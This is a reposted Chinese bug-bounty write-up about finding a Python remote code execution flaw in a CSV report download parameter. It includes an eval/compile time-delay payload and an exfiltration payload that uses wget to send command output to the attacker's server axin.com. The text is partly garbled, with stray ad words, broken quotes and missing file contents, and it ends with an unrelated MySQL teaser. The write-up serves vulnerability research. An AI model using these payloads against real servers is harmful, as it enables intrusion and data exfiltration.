这期内容当中小编将会给大家带来有关如何解析曲折的RCE挖掘分析，文章内容丰富且以专业的角度为大家分析和 香港云主机叙述，阅读完这篇文章希望大家可以有所收获。简单记录一下这个漏洞，没啥特殊的手法，就是细心与fuzz目标应用有一个下载文件的功能，你可以以csv格式下载报告抓包结果如下：看起来好像没啥问题，但是响应中的Werkzaug与python吸引了我的注意，不了解Werkzaug的可以去看一下我尝试着用一些其他的payload替换了params参数的值，都是报错，看起来真就没啥问题，我都准备不看这个点了，但是，当我用空参数的时候，服务器返回了500错误这说明这个参数还是会影响服务器的运行的嘛（当然也不一定，这里只是我的一个猜测），为了进一步确定，我开始fuzz这个参数最后把各种报错整理了一下，发现所有和python相关的payload都报了500错误????看起来有戏，于是把python rce的payload进行了一下url编码，eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29成功执行，服务器产生了延时：由于数据不会回显，我们就只有用其他手法来外带数据了，还记得上一篇文章的内容吗？没有看上一篇文章的快回头去瞅瞅????构造payload:eval(compile("""for x in range(1):n import osn os.popen(r'wget http://axin.com:8000/shell.php?cmd="$(ls -la)”)read()”””,’’,’single’))然后在我们的服务器axin.com上部署一份shell.php文件，文件内容如下：发送payload,并查看POC.txt文件的内容：nice的不得了，当然，也可以直接弹shell上述就是小编为大家分享的如何解析曲折的RCE挖掘分析了，如果刚好有类似的疑惑，不妨参照上述分析进行理解。如果想知道更多相关知识，欢迎关注开发云行业资讯频道。
MySQL索引有哪些分类，相信很多没有经验的人对此束手无策，为此本文总结了问题出现的原因和解决方法，通过这篇文章希望你能解决这个问题。MySQL索引分为普通索引、唯一索引、主键索引、组合索引、全文索引。索引不会包含有null值的列，索引项可以为null（唯一索…
免责声明：本站发布的图片视频文字，以转载和分享为主，文章观点不代表本站立场，本站不承担相关法律责任；如果涉及侵权请联系邮箱：360163164@qq.com举报，并提供相关证据，经查实将立刻删除涉嫌侵权内容。
微信扫一扫 
